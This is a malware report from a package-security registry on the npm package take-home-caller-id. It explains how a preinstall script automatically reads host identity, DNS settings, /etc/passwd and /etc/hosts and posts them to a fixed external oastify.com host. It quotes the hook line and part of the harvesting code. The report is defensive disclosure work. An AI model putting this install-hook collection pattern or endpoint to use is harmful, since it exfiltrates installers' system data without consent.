registry / Data exfiltration / take-home-caller-id
take-home-caller-id
This report shows the evidence for take-home-caller-id@1.0.1, the only known version.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThis is concrete, automatic install-time collection and external transmission of host data. The behavior is not needed for the declared package and constitutes malicious data exfiltration.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package triggers the preinstall script.
Impact
Installation exposes host details and contents of /etc/passwd and /etc/hosts to the external recipient.
Mechanism
index.js reads system and identity information, packages it as tracking data, and posts it through HTTPS.
Attack narrative
During npm preinstall, the package runs index.js without a user command. The script collects installation-directory and host identity data, DNS configuration, and readable /etc/passwd and /etc/hosts contents. It serializes these values and posts them to a fixed external OAST host.
AI rationale
This is concrete, automatic install-time collection and external transmission of host data. The behavior is not needed for the declared package and constitutes malicious data exfiltration.
Evidence
package.jsonindex.js/etc/passwd/etc/hosts
Network endpoints1
0decr93bem6onemg3dmbydi6rxxrli97.oastify.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs index.js automatically during npm preinstall.
- The entrypoint collects the install host's home directory, hostname, username, DNS servers, and local system files.
- It sends the collected data in an HTTPS POST request to a fixed external host.
Evidence against
Behavioral surface
FilesystemNetwork
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node index.js"
}
High
Ai Review Evidence
The package runs index.js automatically during npm preinstall.
package.jsonView on unpkg · L6index.jsView file
1const os = require("os");
L2: const dns = require("dns");
L3: const fs = require("fs");
L4: const https = require("https");
L5: const packageJSON = require("./package.json");
L6: const packageName = packageJSON.name;
...
L10: p: packageName, // Package name
L11: c: __dirname, // Directory where the package is installed
L12: hd: os.homedir(), // Home directory on the remote server
L13: hn: os.hostname(), // Hostname of the remote server
L14: un: os.userInfo().username, // Username on the remote server
...
L17: pjson: packageJSON, // Full package.json data
Findings
2 Critical6 High2 Medium2 Low
CriticalHardcoded Runtime Data Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationindex.js
HighTrigger Reachable External Post Callbackindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
HighAi Review Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to take-home-caller-id@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing take-home-caller-id@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.